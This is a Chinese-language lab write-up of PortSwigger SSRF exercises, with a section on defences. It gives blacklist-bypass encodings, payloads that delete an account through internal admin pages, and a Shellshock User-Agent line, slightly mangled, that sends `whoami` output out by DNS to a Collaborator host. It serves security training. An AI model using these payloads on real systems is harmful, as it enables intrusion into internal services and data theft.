SSRF(一):PortSwigger靶场笔记
字数 1766 2025-08-19 12:41:30
SSRF漏洞详解与PortSwigger靶场实战指南
一、SSRF漏洞概述
SSRF(Server-Side Request Forgery,服务端请求伪造)是一种安全漏洞,允许攻击者操纵服务器向非预期目标发起请求。这种漏洞通常发生在应用程序从用户提供的URL获取数据时,服务器未对目标地址进行充分验证的情况下。
SSRF分类
- 普通SSRF:攻击者能够直接看到服务器返回的响应
- Blind SSRF:攻击者无法直接看到响应,但服务器确实发起了请求
二、SSRF常见利用场景
- 访问服务器本地的服务(如localhost)
- 探测内部网络中的其他主机和服务
- 绕过身份验证和访问控制
- 与服务器端其他漏洞结合利用
三、SSRF绕过技术
当目标使用黑名单机制防护SSRF时,可使用以下方法绕过(以127.0.0.1/localhost为例):
-
IP地址表示方式转换:
- 十进制表示:2130706433
- 八进制表示:017700000001
- 缩写形式:127.1
-
域名解析:
- 注册自己的域名解析为127.0.0.1
- 使用Burp Collaborator提供的spoofed.burpcollaborator.net
-
URL编码:
- 对请求URL进行单重或多重URL编码
四、PortSwigger靶场实战
Lab1:基本本地SSRF利用
目标:访问http://localhost/admin,删除carlos账户
步骤:
- 观察Burp Suite的HTTP历史记录,寻找可能的SSRF点
- 尝试直接请求http://localhost/admin
- 发现返回admin页面但浏览器删除操作受限
- 通过Burp构造直接删除请求:
POST /admin/delete HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded username=carlos
Lab2:内网服务探测
目标:探测192.168.0.0/24网段中的服务,删除carlos账户
步骤:
- 发现类似Lab1的SSRF漏洞点
- 使用Burp Intruder对192.168.0.1-254进行扫描
- 发现192.168.0.160返回200状态码
- 构造针对该IP的admin删除请求
Lab3:基于Referer头的Blind SSRF
目标:在服务端发起DNS查询
步骤:
- 生成Burp Collaborator随机子域名
- 修改商品详情请求的Referer头为Collaborator地址
- 观察Collaborator是否收到请求
Lab4:黑名单绕过
目标:绕过黑名单访问http://localhost/admin
技巧:
- 尝试直接请求被阻止
- 使用127.1代替127.0.0.1
- 对路径部分进行URL编码:
- 一次编码:%61dmin
- 二次编码:%2561dmin
- 最终有效payload:
http%3a%2f%2f127.1%2f%2561dmin%2fdelete%3fusername%3dcarlos
Lab5:开放重定向结合SSRF
目标:访问http://192.168.0.12:8080/admin
步骤:
- 发现/product/nextProduct存在开放重定向漏洞
- 构造payload:
/product/nextProduct?currentProductId=7&path=http://192.168.0.12:8080/admin/delete?username=carlos - URL编码后作为stockApi参数值
Lab6:Blind SSRF与Shellshock结合
目标:探测192.168.0.0/24网段8080端口,利用Shellshock获取OS用户名
步骤:
- 使用Collaborator Everywhere插件
- 将域名添加到Target Scope
- 发现User-Agent和Referer字段存在SSRF
- 设置User-Agent为Shellshock payload:
()usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN - 通过DNS查询结果获取用户名
Lab7:高级绕过技巧
有效payload:
stockApi=http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos
技巧:使用URL编码的#(%23)来截断域名解析
五、防御措施
- 实施严格的白名单机制而非黑名单
- 验证用户提供的所有URL
- 禁用不需要的URL协议(如file://, ftp://)
- 对内部服务实施网络层隔离
- 使用独立的认证机制保护内部服务
六、工具推荐
- Burp Suite Professional:用于拦截、修改和重放请求
- Burp Collaborator:用于检测Blind SSRF
- Collaborator Everywhere:自动化检测潜在的SSRF漏洞点
通过系统学习这些案例和技术,您将能够有效识别和利用SSRF漏洞,同时也能更好地防御此类安全威胁。